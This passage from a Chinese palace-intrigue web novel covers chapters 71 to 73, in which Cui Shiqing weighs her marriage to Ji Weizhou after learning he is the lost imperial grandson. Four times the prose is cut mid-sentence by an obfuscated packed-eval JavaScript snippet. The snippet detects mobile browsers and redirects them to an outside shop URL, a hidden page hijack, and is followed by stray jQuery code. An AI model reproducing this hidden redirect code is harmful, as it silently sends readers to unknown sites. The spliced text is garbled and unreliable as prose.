她自知天生恶种,最缺的便是同情他人、怜悯苍生的心,但今夜在此,听着困住舅父的旧事,仿佛身临其境,身心皆被东宫的绝望所攫,不住地怜惜起襁褓中茫然无措的小儿。 “东宫走火与皇后有关?”崔时清问。 “她在其中扮演了什么,我不得而知。”瓷盏碎裂,清茶夹着血迹从纪光的指缝间流淌,“但她知道暗门,从此处离开,再回来寻丢失的玉佩时,碰上了我和三郎。她的眼中只是意外,意外三郎还活着。” “她可有辩解?”崔时清的手指微微颤抖着,克制着心底因疼痛而升起的暴戾。 “我们皆知东宫大势已去,真相如何没有人会在意。她收走玉佩,连襁褓幼儿都没有看上一眼,便匆匆而去。” 纪光如同被抽干了最后一丝气力,手肘撑着茶几,勉强支起沉重的脊背。 “我无能至极,改变不了天下人心、惩戒不得罪魁祸首,只有苟且偷生,才可护住国公府,护住三郎。” 崔时清眉眼微动,轻声开口道:“阿舅是顶天立地的好男儿,总有一日,所有人都会感念您、敬佩您的。” 纪光苦笑着摇了摇头,“阿舅对不住你。但是,如果可以,能不能继续把三郎看作普通儿郎,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249962|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作阿舅的庶子?不要与他心生隔阂?” 勾起佛珠攥在掌心,崔时清没有回应。 那个梦是真的。 这个念头萦绕在心头,她不知道自己还能不能平静地面对纪危舟。 纪光在心疼与自责之间不断拉扯着,最后轻轻叹了口气,没有再逼迫外甥女。 “还有十余日,若是不愿成婚,阿舅亦会为你筹谋好退路。” * 从茶室离开,崔时清的脑中一直在思考着她和纪危舟的婚事,她无法确信这一世的纪危舟是否会再走上天命。 她想得比较粗浅。 ——崔氏女不与皇族通婚,不入深宫后院。 再深入复杂的问题,趋利避害的本能让她强迫自己忽略,只在这个小坎坷上反复纠结,迟迟不动。 “这一世是不一样的,他成不了大帝。” “都当了八世,这次怎么就不一样了?” “可这次他喜欢的是我呀!就没有听说过还有喜欢恶棍的大帝。” “怎么没有?还有恶棍当皇帝呢。” “……我们之间没有赢家,哪怕我死了以后,天道之子也过得不好,所以也没有输得太彻底。” “那也是输了!你就甘心吗?” “……” 走在月夜下,崔时清的脑子乱成一团浆糊,怎么也无法说服自己。 她没想过,自己生前的执念会化为死后的枷锁,连魂魄都离不得纪危舟,看着那个没有丝毫人气的大帝过了一世又一世。 那些枯燥乏味的日夜,折磨得她这野鬼死去活来的。 若是再来一次? 崔时清不由心惊胆寒,加快了步伐行路。 远远看到院门阶梯上独坐的一道身影,她微微歪着脑袋,认出了那人。 正有些迟疑,便看到纪危舟从长阶上起身,暖黄色的灯光落在他轮廓分明的容颜上,把淡漠的眉眼勾勒出柔和的线条,更显得他眉眼如画、俊美无双。 灯月之下看佳人,崔时清的眼神落在纪危舟的面上,再也移不开她的目光。 心底有一个声音义正言辞着,与鼓噪的心跳声交相应和。 怪他作什么? 他还只是被生母抛弃、于养母嫌弃,什么都不知道的小可怜! 投入纪危舟的怀中,嗅着属于他的冷香,崔时清忍不住喟叹了一声,把自己更深地埋进他的胸膛间。 “你怎么在这儿?”崔时清闷声问。 纪危舟拢紧了她的披风,再探了探指尖的温度,才轻声说道:“软软迟迟不归,我提了灯笼来等,便不至于迷了路,找不到我了。” 在温暖的怀抱中,崔时清的身体有些发软,带着她的心也软塌塌的,语气透着丝委屈与浓浓的眷恋。 “宫里不好玩,还不如在家中陪你。” “下一次还有宴席,我便央求你留在家里陪着我,哪儿也不去。”纪危舟弯下膝盖,托抱起怀中的女娘子,慢步往院中走。 “你想怎么央求?你知道的,我可不好说话。” 看着眼底藏了星光,闪动着璀璨的异彩,直勾勾望着他的女娘子,纪危舟的心尖泛着酸涩,连平静的黑眸都不可自抑地染上了一抹猩红。 但黑夜太过浓稠,星月亦不及桃花眼中的光芒明亮,崔时清并没有发现他的变化。 71. 恐惧 崔时清睡得并不好,断断续续做了许多梦,醒来以后什么也不记得,却留下了忧思过重后的倦怠。 起来以后,她还没缓过劲,若兮便说了一个消息。 昨夜舅父去过父母院中,想必是坦白了纪危舟的身世,一早母亲便来到常春院里吵了一架,还扬言要取消这桩婚事。 “主子,这其中是不是有误会?”若兮问得很隐晦,但显然是为身后之人来探问的。 崔时清揉着鼓胀作痛的太阳穴,不欲与她多言,挥手便令若兮下去。 既然舅父没有告诉舅母,她也不必多此一举,把这个消息传出去。 毕竟,皇太孙的身份曝光—— 崔时清重新躺回床上,目光愣怔地望着头顶的玲珑球,直到手指不知觉地探摸到枕边的小竹笛,一遍又一遍地摩挲着刻字,眼神也逐渐坚定了起来。 连她都失败了八次,沉迷丹药的皇帝又算得了什么? 哪怕贤文帝知道纪危舟的身份,鹿死谁手还未可知,或许最终只会更快地把纪危舟推上他的天命。 这可不行! 阻止天道之子,让纪危舟当不上大帝,她便是这一世的胜者了! 玄鱼端着热水进来,轻声问:“该是时候用朝食了,主子可要起来?” 崔时清的生活作息很固定,偶有疲懒的时候,为了养生却也没有耽误过三餐茶饭,然而今日却晚了半个时辰。 思及若兮出门时的面色,玄鱼心中忐忑。 “过来吧。” 崔时清想通了,也精神了不少,没有再耽搁,在玄鱼的伺候下,梳洗过后便起身走出里屋。 崔时清面色如常,似乎没有受到外面风言风语的影响,玄鱼暗暗放松。 “看我做什么?”崔时清瞥向身边的婢子,见她才松懈的身体倏地紧绷了起来,恶趣味地歪唇笑着。 玄鱼头皮发麻,弱弱说道:“主子的心情挺好的呀。” 对于小婢子的笨嘴笨舌习以为常,崔时清还是忍不住戏弄道:“你见不得我欢喜?” “……不不不!婢子是以为外面虽传得许多谣言,但没有影响主子的心情,如此甚好的。” 玄鱼懊恼地咬了咬肉嘟嘟的唇瓣,眼睛清澈而真诚。崔时清看着她,淡笑着低下头,搅动碗中的清粥。 “都在传什么?” 玄鱼并不知道若兮已经禀报过此事,义愤填膺地鼓着眼睛,气呼呼道:“主子不要理她们!都是些碎嘴的!您和公子婚期在即,她们就是嫉妒,才会说你们的婚事办不成的胡话!” 家中知道纪危舟的身世,已然反口,这桩婚事恐怕还真不好继续。 崔时清没了食欲,托着腮懒洋洋问:“当真办不成呢?” “怎会?!您与公子佳偶天成,怎可为了这些碎嘴的耽误了要事!”玄鱼不以为然。 他们怎能称得上‘佳偶天成’四字? 崔时清自嘲地扯了扯唇角,眼底郁色浓稠,算是彻底笑不出来了。 她的沉默让玄鱼不由心生不妙,语气急切地唤道:“主子?” “怎么,我做什么还要与你交代了?”崔时清没好气地斜乜着玄鱼。 玄鱼自知失礼,搅弄着手中的帕子,可怜兮兮地瞅着崔时清,“奴婢知错了,但是您与公子……” “赵晋还你帕子了?”崔时清瞥向她手中的丝帕,突兀地转移话题。 玄鱼骤然红了脸,连纤细的脖颈都像煮熟了一样,成片红热,“是、还、还了。” “一条帕子而已,没出息。”崔时清看着揪着帕子的小婢子,轻骂了一声。 玄鱼唯唯诺诺地低着头,不敢吱声。 “怎还未用朝食?”纪危舟大步走了进来,扫过崔时清面前没用过几口的粥食,眉心微蹙。 崔时清看着他坐在身侧,端走微凉的瓷碗,重新盛了一碗热粥。她没有拒绝,顺从地握着瓷勺,舀了一勺放进口中,方才还索然无味的粥食倒是可入口了。 “没歇好?”纪危舟端起她用过的清粥,不紧不慢地吃着,目光没有离开崔时清,轻声问。 “唔,夜里喝了茶,折腾了半宿才睡。”崔时清说完,瞥见准备退下的玄鱼,扬声道,“你自去我私库里领一盒帕子走。” “啊?”玄鱼懵怔地停在原地。 崔时清怒其不争地瞪了她一眼,说道:“给你的!你家主子有钱!不必劳烦别人攒钱供你!” 玄鱼再次被闹得面颊飞粉,羞答答地屈了屈膝,哒哒哒小跑着领赏去。 “小傻子。” 崔时清无奈地弯唇笑着,收回目光,与纪危舟四目相对,看他神色有些怪异,便问:“何事?” “软软对她可真好啊。”纪危舟笑说。 “……”崔时清被他的阴阳怪气噎得失语片刻,才道:“小婢子不懂事,不看着点,怕是要被人骗走的。” 纪危舟夹了一筷子银芽鸡丝在她的碟子上,轻声问:“你都不担心我吗?” 担心什么? 崔时清瞟过面前的菜,再看向纪危舟。 这么喜欢我,还能跑了不成? 她胸有成竹地想着,偷瞄了一眼那张漂亮的脸蛋,又有些不踏实,暗忖着也为纪危舟夹了几口菜,眉眼微弯地示好。 “你也吃呀。” 在崔时清狡黠灵动的笑容下,仿若被烈焰烧灼过的骨肉都得到了片刻甘霖,呼吸顺畅了些许。 她心中是有我的。 纪危舟直勾勾盯着崔时清,珍惜地夹起面前的佳肴,一口一口、不紧不慢地嚼碎了,咽入腹中。 “够吗?”崔时清托腮问他。 纪危舟的喉间有些涩然,说:“不够。” 崔时清把自己吃过,觉得好吃的,都夹给他。 俊美的郎君在身侧认真用餐饭的模样,令人赏心悦目。在布菜的过程中,崔时清突然发现了纪危舟喜爱伺候她食茶饭的乐趣,在心底为这个隐秘的喜好而感到羞耻、羞耻中又藏着热烈的欢愉,眼睛移不开地看着纪危舟。 “你喜欢吃什么?” 崔时清发现她从没有注意过纪危舟的口味,但或许、他是喜欢清淡过于荤腥重口的,这个念头刚起,正要把碟子中的油炸鹌鹑夹出来,便看着他面不改色地吃入口中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262225|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪危舟喜欢崔时清专注看着自己的时候,这时所有的烦忧恐惧都会虚弱无力、失了力量,再也侵扰不了他一分一毫。 他的心被填充得很满足,再没有其他所求。 “我与软软口味相同。” 崔时清有些怀疑,但也没有继续追问,只是再给他布菜时,还是忍不住会按照遥远记忆中的片段,选择较为清淡爽口的。 这餐饭他们都吃得很饱,哪怕崔时清眼下青黑、很想睡个回笼觉,但还是跟着纪危舟在偏厅暖房里散步消食。 “近来府中不太平,可要随我去城南宅子躲躲清净?” 纪危舟的声音轻柔,温和够了头,让听者生不出半点抵触,但崔时清的面上却不自觉流露出一丝为难。 这时候与他离开,和私奔有什么区别? 即便她不愿意和父母冰释前嫌,故作无事发生地维系早已淡漠的亲情,可是在婚姻之事上她并不能一意孤行。 崔氏之女的身份不止意味着她可以养尊处优过一世,还有许多看不到却刻在她骨子里的束缚。 她可以肆意妄为、却不能离经叛道,可以挥霍无度残忍恶毒、却不能伤及世家传承的根基。 她无法指摘纪危舟自己也不能选择的身世,并不意味可以全盘接受。 与本该死于东宫大火的皇太孙成婚,还有孟氏皇后的虎视眈眈,这桩婚事也许会损害崔氏持正的立场。 除非、她与崔氏主家彻底切割…… 这样值得吗? 崔时清无法确定。 在近乎执拗的注视下,崔时清只好低头回答:“长辈们不会同意的。” 心又空了一般。 纪危舟的眸子也空洞地看着回避他的崔时清,几乎是用尽了全身的力气,才克制住心底的焦虑,以尽可能平静的声音问。 “我与父亲说?” 崔时清抬头看了他一眼,心底有些困惑。 他还不知道自己的身世?要不要试探一下? 崔时清的心底涌出一丝软弱的情绪,不知道应该如何开口,更不知道要怎么和他解释世家持正的重要。 最终只说:“阿舅很忙,我们也懂事点,不要让他烦心了。” “软软说的对。”纪危舟眸光晦涩不明,声音极轻道。 崔时清顶不住他的眼光,与纪危舟错肩而过,兀自走到窗边,认真看着长脚几上的鱼饼。一时之间,青花瓷缸里金鲫鱼的长尾划水的声音,变得足够清晰。 他们就这样,同处一室,却相隔了万里。 纪危舟痴痴地望着窗边的人。 不知过了多久,抬步走向了她,把崔时清环绕在双臂间,感受着一瞬间惊讶之余突兀又生硬的抵触,纪危舟勾唇温柔地笑着。 “软软不愿提前离府,但城南宅子都布置好了,总要过去看一眼的。” “好,改日吧。”崔时清压下那股心虚劲,敷衍地应道。 “好,改日。” 纪危舟感受到了怀中之人的心不在焉,声音里染着笑,似是宠溺,又像极了柔韧的蛛丝,侵蚀着网中之物的戒备心,一点点收紧缠绕着。 72. 我们 午后,正院传来消息,崔氏主家来人了。 不同于崔其沂来时的待遇,崔时清得到通传便抛下身边的人,跑到正院前厅。 白袍郎君长身而立,背对着她与长辈叙话,崔时清的眼睛晶亮,扬声欢喜道:“阿兄!” 崔云许转过身,看着女娘穿着厚实的红锦衣,发间的兔毛发带随着她的跑动颤颤巍巍,活像个喜气好动的大兔子,登时笑出了声。 “阿兄!”崔时清眼里缀着星子,仰头又唤了一声。 崔云许伸手抚摸崔时清的兔耳朵,看着她红润的气色,弯眸笑道:“养得不错。” “还是阿兄送来的女医好。”虽说有了纪危舟以后,主家派来的女医并没有用武之地,但也不妨碍她卖乖讨好。 “好了,阿兄我、也在这里!”崔长殷酸溜溜地挤进妹妹的眼皮子底下。 崔云许眉眼温润,没有和堂弟计较,往边上退了几步,礼让他。没料到的是崔时清也跟着崔云许的动作,也往旁边挪了挪。 无人问津的崔长殷:“……” 不能怪崔时清厚此薄彼,在国公府十余年来,来京都最多的便是崔云许,还有平日里没断过的书信礼物,关系自然更亲厚。 “叔父呢?他怎么没来呀?”崔时清在厅内看了一遍,失望地瞅着崔云许。 同样遭到冷对的崔其沂:“……” 比起父兄二人,崔丰年独有的优势便凸显出来了,他胖乎乎的双手扒拉着堂兄的腿,邀宠地扑闪起圆溜溜的大眼睛。 崔云许单手抱起丰年,说道:“本来是要来的,但不小心染了风寒,受不得舟车劳顿只得作罢。” “严重吗?医士如何说的?”崔时清紧张地看着他。 “不严重。开春以后天暖了,他便来京都看你。”崔云许温声抚慰。 “叔父体弱还须好生将养,年后我陪着时娘回乡拜见叔父。” 崔云许神情讶异地看着过早改了口的纪危舟,瞥了眼没有什么反应的堂妹,抿唇笑道:“好,我与阿爹在家中等你们。” 纪危舟也笑了笑,把手中的披子围在崔时清的肩头,轻声抱怨着,“如此急躁,连个披子都不带。” 跑了一路,方才不觉,此刻寒风拂来倒有些凉意,崔时清老实围着羊绒披子,小声嘟哝道:“知道啦。阿兄在此,不许说我了。” “这两小儿稚气未脱,还斗上嘴了?”陈芝岚面色如常地戏笑道。 比之崔云许的淡然接受,崔其沂夫妇的表情都不太自然,尤其是纪月隐,看到侄子紧跟在女儿身后,面色当即便冷沉了下来。 “时娘过来,我有些话要与你说。”纪月隐忍着怒气,对着女儿招了招手。 崔时清知道她要说什么,但却还没想明白、更未下定决心,而此刻母亲的招唤像是一根勒紧脖颈的绳索,让她感到窒息的同时,便是下意识想要逃脱。 一时之间,场面有些僵持。 纪月隐知道自己作为母亲是失职的,把亲生女儿托付于母族十余年。她很早便后悔了,但破碎的母女关系却容不得她悔改。 这座府宅的至亲各有各的私心,而她也是有的,她希望在母族的帮助下可以修复她们二人的关系,然而却决不愿看到自己的女儿也为纪家所用,陷入险境。 纪月隐正要以更强硬的态度来表达她的反对,纪危舟却突然开口,打破了正厅的沉寂。 “母亲找你私话,想必是有重要之事,阿兄有我招待,你且放心去吧。” 他不说还好,说完以后纪月隐的怒气徒长,对着小辈到底没能骂出口,怒瞪‘始作俑者’一眼,才淡声道:“三郎还是称我姑母吧。” “是、姑母。”纪危舟垂下眼眸,温顺地应了一声。 纪危舟的逆来顺受落于崔时清眼底,让她颇不是滋味,憋了一口闷气,怒其不争地斜乜着他,得来一个故作坚强、又藏不住委屈的浅笑。 “……”崔时清的心乱成一锅粥,转而看向纪月隐,语气也冷淡了几分,“阿兄长路跋涉也都乏了,我们还是先送他回院子安置吧。” ‘我们’指的是何人,亦是不言而喻的,总归不是她们母女二人。 纪月隐不免生出几分幽怨,以往觉得侄子多好,如今便觉得自己多眼瞎。 此人分明与宫里那位一样,都是一窝出来的狐狸精嘛! 崔云许亦看出了伯母和纪家人之间的生分,把丰年递与崔长殷,走到崔其沂的身边,无声询问。 崔其沂摇了摇头,显得有些懊恼。 而被嫡亲阿姐视为‘始作俑者’的纪光更是心中发苦,在接连的眼刀下,走到儿子身边,商量道:“陪阿爹下盘棋吧。” 崔时清不由观察起纪危舟的面色,心想他若是不愿,便想法子把他领走吧,阿兄总归还要在京都住上一段时日,不愁相聚的时候。 “我与阿爹许久没有对弈了。”纪危舟颔首,对着崔时清安抚般勾唇笑了笑,与纪月隐等人作揖行礼,又和崔云许交代了一声,“阿兄如有不便之处,尽可派人与我言道。” 崔云许笑着应下,看着纪光父子离去。陈芝岚也寻了个理由,把此处让与崔氏一家,心情复杂地张罗他事去了。 直到他们都离去,纪月隐的怒气还没散尽,不赞同地看着自己的女儿,“时娘?” 崔时清也知道逃不过,没有再抵抗,跟着纪月隐走到内室。 “这是怎么了?”崔云许的心中有种不祥的预感。 崔其沂头疼道:“时娘和三郎不合适,或许会取消这桩婚事。” 崔云许面露荒唐,万万没想到临近婚期不过十余日,伯父会以这样语焉不详的理由取消婚事。 “我观时娘与三郎情意不浅。”崔云许强调道。 “我们会劝她的。”崔其沂看着他又道,“五郎也帮着劝劝时娘吧。” “伯父若要我劝阻时娘,至少也该告知内情。”崔云许无奈道。 伯父一家不愿道出实情,他一介小辈也不可强行干涉。但他却有些后悔,不该极力劝说阿爹在家养病。 有他阿爹在,至少知道如何应对这种局 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272268|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,也可让时娘多上几分倚仗。 崔其沂看着内室的方向,沉默了下来,而在里面的氛围也压抑得很。 被当作无知女娘,听了许多道理以后,崔时清没有给出任何回应,坐在椅子上,如同被抽走了魂魄一样,目光呆滞。 然而纪月隐心急如焚,也顾不得她的默然,兀自唠叨着。 “如今天下不太平,叛军越发猖獗,若你不愿意住在南陵城,便回崔氏主家,你叔父堂兄都会照拂你的。” “听阿娘一回吧,纪家对你再好也是存了私心,你也不该为此卷入皇家之事中。” 长睫微颤,崔时清站起身来,目光冷淡地看向了纪月隐,“每个人都有私心,但至少外祖母和阿舅不会忘记我。” 母亲所说的一切,都是崔时清迟疑的理由,因而她没有反驳。但是对于纪家私心的阐述,却触动了她的逆鳞,是她所不能忍受的。 纪月隐无言以对,心痛得不可自抑,哀愁地望着她,轻声唤道:“软软。” 崔时清蹙眉转身,不愿意面对母亲乞求的眼神。她什么也给不了,不论是母亲期望的、还是乞求的,都给不了了。 不过,有句话没有错。 天下不太平了。 随着她改变得越多,天道之子离天命越远,这个世界便越发危险。 天道不会放过她的。 在这种情况下,她的处境只会愈发艰难,连身边的人也可能会遭遇危险。 成婚简单,但要怎么避免宫中那位的算盘打到她的脸上才是最大的问题。孟云希想要纪危舟和她为其所用,更是不会轻易放过她身后的世家之力。 她必须要杜绝,崔氏陷入这种危险中。 “给我三天时间,我会考虑清楚的。” * 月夜迷蒙,一道影子无声穿过城南府宅。 藤蔓缠枝红梅图前,燃起一星烛火,纪危舟专注地抚摸着相互缠绕的枝蔓,烛火不时噼啪作响。 他弯唇笑了笑,落在红梅上的指尖略微施力,伴着闷滞的重石声响,后墙缓缓移动,微弱的灯光下,门内的陈设映入了他的眼中。 与外面一般无二的布置,连陈列着供女娘把玩的博古架都与外面一模一样,唯独不同的是,最下层摆放的那个、只出现在崔时清梦中的红玛瑙宝盒。 纪危舟挽起下摆靠着博古架前坐下,修长的手指落在空盒子上,如之前八世一样,注视它喃喃自语着。 “他们都想分开我们。” “但你心里是有我的,不会动摇的,是吗?” “就像我们说好的,把你藏在这里。” “若是你厌了此处,我们可以走水路离开京都,去任何地方。” 纪危舟拂袖打翻了烛灯,四周骤然陷入浓沉得化不开的黑暗中,他蜷缩着身体,抱紧了那个空盒子。 久久不得挥去的寂寥中,纪危舟的声音如同一把利刃,划破了黑夜织起的烈狱,他一字一顿地告诉天与地,告诉自己。 “崔时清,你不能再抛下我了。” 73. 破局 “我本以为时娘不得空,才想等她婚后再聚。”崔琳琅边斟茶,边软声道。 崔琳琅和御史中丞家的嫡次子定亲的消息传来,崔时清当即定下了拂仙楼的阁子,邀请许久未见的手帕交相聚。 崔琳琅心思敏感,唯恐友人以为她有意疏远,来了以后便急忙解释缘由。 “她也是我见过最自在的待嫁娘了。”蔡梦期喝了这杯茶,斜睨着崔时清打趣。 崔时清垂眸把玩杯盏,她这般积极邀约,不仅为了庆贺友人得偿所愿,也有不知如何面对纪危舟、出门躲清净的私念。 但她也不欲把心底的愁苦道与人知,听着她们的谈话,淡笑不语。 “如我能娶来时娘,也不愿拘着她。”崔琳琅端详着愈发娇艳的容颜,笑道。 蔡梦期不知崔绯的心思,随口便道:“你是娶不来,你家阿兄我瞧着不错,只可惜和时娘没有缘分。” 瞥了一眼口无遮拦的人,崔时清语气稀松平常地问:“听说你家兄长高升了?” “眼下已是从六品起居郎了。”提及兄长仕途平顺,崔琳琅也忍不住神情愉悦。 “看来情爱之物阻人上进,还真不是玩笑话。”蔡梦期不太理会朝堂背后的派系之争,只顾着为同为校书郎而不同的志向唏嘘。 崔时清不乐意听纪危舟的不是,往蔡梦期嘴里塞了一口干巴巴的饼子,和略有些尴尬的友人相视而笑,斟酌着说。 “朝堂局势瞬息万变,崔家阿兄与我也算得同宗同源,想必是知道崔氏的立世之道。” 原本她存了利用之心,只想着让崔绯夺了纪危舟的机遇,但眼下以皇后母子的行径来看,依附便免不得要为他们所用,陷入夺储之争。成败难言,是机遇、也可能会陷入万劫不复之地。 崔时清不能替崔绯做决定,但是她把此人引入这条路的,总该适时提醒一二。 “时娘说的是。”崔琳琅慎重地应了一声,见友人点到为止、没有继续深谈的意思,不由揣度起此话的用意。 蔡梦期连灌了两盏茶,勉强咽下饼子,见她们在谈论朝堂之事,黯然神伤道:“从今以后,只有我是孤家寡人了。” “我家阿兄来京都了,要不现在把他唤来?”崔时清扬眉瞅她。 蔡梦期浑身一哆嗦,连忙摆摆手,“不了不了,我还没想好呢!” “这有什么可想的?见了不就知道行不行了!”崔琳琅失笑道。 “我有自己的要求,眼巴巴把他叫来,若是不成岂不要羞死人了?”蔡梦期瞪着眼睛,摇头晃脑道。 崔时清懒得听她胡扯,敲了敲桌子问:“待会儿去昌黎苑听书?” “啊、不巧了,我还有事呢。”蔡梦期遗憾道。 崔琳琅也羞涩地低头说:“沈郎会来接我。” 崔时清很失望,但也没有勉强,摇摇手道:“你们有事便走吧。” “那我走啦!” 蔡梦期也不客气,揉了揉挚友的脑袋,便起了身。崔琳琅本有些犹豫,见状也跟着起身离开。 阁子安静了下来。 崔时清一人也没了听书的兴致,靠在软榻上,看着铜香炉上丝丝缕缕游动的云烟,思绪空空,人也好似随之腾飞远山天外。 “咚咚。” 叩门声把她从遥远的天际抓了回来,崔时清偏过头看着绕过屏风入内的玄鱼。 “主子,六皇子请见。” “赵晟真?”崔时清的面容闪过肃杀冷冽之色,连声音都染上了妖冶薄凉的气息。 “是,此刻人便在门外。”玄鱼畏惧地把自己缩成一团。 指尖有一下没一下地敲打着凭几,眸光流转着,崔时清发出了一声极轻的嗤笑。 她正烦得不行,人便自己送上门了。 是觉得她愚不可及、可以随意拿捏,还是胃口太大、再忍不了一时半刻了? 崔时清笑着起身,抚平衣袂上的褶皱,神情冷傲地走了出去。 打开门,映入眼中的是还透着少年蓬勃之气的背影,对方循声而动,清秀的眉眼回眸顾盼,看到崔时清时,惊讶过后便展颜粲然而笑。 不可否认的是,赵晟真身上纯粹又青涩的气质,很容易打动不同年岁女子的心。就像爱美为女娘的天性,而为一朵纯白无瑕、沾了露水的花骨朵倾心更是本能。 然而崔时清下意识却想,虽为同母兄弟,有人眉眼精致得世间无人能描绘,有人则生得粗糙邋遢让人忧心。 怪不得赵晟真会存了嫉恨心,还真是不能怪他心胸狭窄。 随后她记起昨日在正厅内垂首低眉、藏不住失落的郎君,心底的烦躁又徒然拔高了几许,对着在自己面前搔首弄姿的赵晟真更是厌恶不已。 觑着他,语气漠然道:“六皇子有何指教?” 赵晟真并未受到冷遇的影响,相反着,崔时清心情不佳,更说明他所暗中推动的计谋是成功的。 ——他们的婚事怕是要不成了。 “我听闻县主在此,想与你闲谈几句,不知可否入阁子中用盏清茶?” 看着眉眼干净的少年郎,崔时清扯动唇角,皮笑肉不笑道:“只怕不便吧。” “也是,不如移步廊庑?”赵晟真面不改色问。 崔时清没有再拒绝,跟着他走到廊下。在赵晟真眼神的示意下,侍卫分散四周,与他们保持着一个不远不近的距离,阻拦其他人靠近。 周围似乎只有他们二人,这种错觉让赵晟真松懈了不少,第一次正视起面前的世家贵女。 世下以纤弱柔顺为美,女子多是弱柳扶风之姿,或温婉素淡、或雅致清高,他身边从未有过美得如此富有攻击的女娘。 就像是生在幽冥之地的曼陀罗,秾丽娇俏却浑身是毒,让人惧怕又克制不住占有,仅仅是注视着她流光溢彩的风姿,便沉醉其中。 “六皇子?”崔时清眉眼微扬,没有掩饰自己的不耐。 赵晟真重重地喘了口气,下意识想要靠近她,在一道凌厉的目光下,生生顿步不前,遗憾地撇开眼,望着远处还没绽放的梅枝花蕊,略略平复心底的躁动。 “我很羡慕兄长。”他说。 崔时清勾唇笑着,“我不明白六皇子的意思。” 赵晟真看着崔时清的眼睛,慢声道:“母后一直没有忘记曾经的皇太孙,即便我在她膝下长大,是她最亲近的人,可是在很多时候,我可以感觉到她透过我的眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285827|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在找什么。” “你认为她找的是死于东宫的皇太孙?”崔时清忍着讥嘲的笑意,用一种无法理解的眼神端详着赵晟真。 她没想过,此人会如此不了解自己的生母。 孟云希看着膝下之子出神,比起思念那个被她放弃的儿子,崔时清更愿意相信她是在看、在审视她的筹码,而她的失望只怕是失望自己的胜算吧。 “他真的死了吗?”赵晟真问。 崔时清双手抱臂,斜睨着他道:“东宫还有无活口,娘娘不知道吗?” “兄长不愿意回来了?” 赵晟真的表情有些古怪,让人分辨不清他是高兴、还是失落,崔时清没有兴趣深究,她只知道自己和纪危舟之间的阻碍就在眼前。 杜绝孟云希母子把崔氏拉入夺储之争的泥淖里,破局的办法就是杀了赵晟真。 只要杀了此人,夺走孟云希的筹码,才能一劳永逸。 “六皇子问错人了。”崔时清欺身上前,低语道,“你若真想知道,便入地府去寻答案啊。” 钻入鼻尖的甜香让赵晟真怔松了片刻,本能地伸手拉住了正欲离开的崔时清,痴迷又眷恋地凝视着她嫌恶的眼神,收紧了握在她臂上的五指。 “十六娘。” “六皇子慎行!”崔时清抬臂打落赵晟真的手,后退了几步,怒视着他,“崔氏不涉党争,六皇子寻错人,也用错法子了!” 崔时清不欲继续和赵晟真周旋,转身便要离开。 “等等。”赵晟真看着停下脚步,却没有回头的女子,眼睛肆无忌惮地看着她,轻声问,“十六娘还要与他成婚吗?” 崔时清恍然大悟,记起赵晟真隐秘的癖好,这人是把她也当作纪危舟的字帖了,想要攀比、占据? 所以她的直觉没有错,赵晟真是来勾引她的啊! 思及此,崔时清回头望向他,以惊异的目光注视赵晟真,上上下下左左右右仔细端详了许久,困惑地问道。 “我不与他成婚,还能与何人相亲?” 赵晟真温柔地说道:“我不想你后悔。” 阴湿粘稠的声音让崔时清极为不适,她忍着恶心,轻蔑地看了他最后一眼,临走前落下一句话。 “他千般万般、无人能及的好,若是不嫁,才是后悔。” 在冬日的照射下,赵晟真面容上的寒冰一瞬崩裂,露出了底下的褐土,散发阵阵腐朽。低头看着他的手掌,难耐地低叹着。 “我会想你的,十六娘。” * 书房中,纪危舟神情蔫蔫地握着玉婉刀雕刻手中的木料,准备再做一批外形各异的挂饰暗器,以免崔时清厌了小竹笛便不肯带了。 江南匆匆推门而入,看着浑身散发怨念的纪危舟,眼皮跳了跳。 “跟在赵晟真身边的人回报,说他特意去拂仙楼见了娘子。” 玉婉刀小巧锋利,瞬间划破指腹,纪危舟垂眸看着沾了血迹的木料,收紧手指将其碾碎成灰,握着还在滴血的玲珑刀,起身走了出去。 